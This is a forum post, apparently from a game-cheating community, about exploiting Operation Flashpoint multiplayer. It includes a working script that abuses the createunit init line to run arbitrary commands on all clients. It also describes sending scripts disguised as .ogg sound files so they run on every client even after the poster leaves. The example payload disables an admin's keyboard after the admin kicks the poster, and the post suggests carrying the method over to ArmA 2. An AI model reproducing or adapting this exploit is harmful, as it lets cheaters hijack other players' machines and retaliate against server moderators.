I haven't been here for a while, its nice to see that Mullah and some others are still here
The thing about the initline is correct, we were using the createunit-command to execute local script commands as global commands.
example: ["player moveindriver (""papercar"" createvehicle getpos player)"] exec "\******\public\_do_public.sqs";
; This script makes it possible to execute local commands on all clients
; Script Call: ["commands; another one; var_x = ""this is text"";"] exec "\******\public\_do_public.sqs";
; You must replace " by "" like in the example.
; By [YENG]Hubertus
TKC_******_command = _this select 0;
"generale" createunit [[0,0,0], group player, format["%1", TKC_******_command]];
TKC_******_guba = nearestobject [[0,0,0],"generale"];
deletevehicle TKC_******_guba;
exit;
The problem was that it was not possible to use more complex scripts, for example things like #loop....goto"loop" because _do_public.sqs puts everything into the initline of the created unit. Only basic commands were possible, like addeventhandler, disableuserinput etc. After the last cheatpack was released, I did some tests, but never finished it because of reallife problems.
I found a way to send script files to clients by naming them ***.ogg. OFP didn't check if it really was a soundfile or not. The files were sent to each client and stored in the OFPdir/tmp-folder. Using the _do_public.sqs it was possible to run the scripts (exec "\tmp\myusername\sound\I_am_not_a_script.sqs.ogg"), and because they were run on each client, they still worked after I left the server. Example: the script placed on the admins PC checks if he has kicked me, if so, his keyboard gets deactivated 5 minutes later.
I think this could also be useful for arma2, it offers some new possibilities.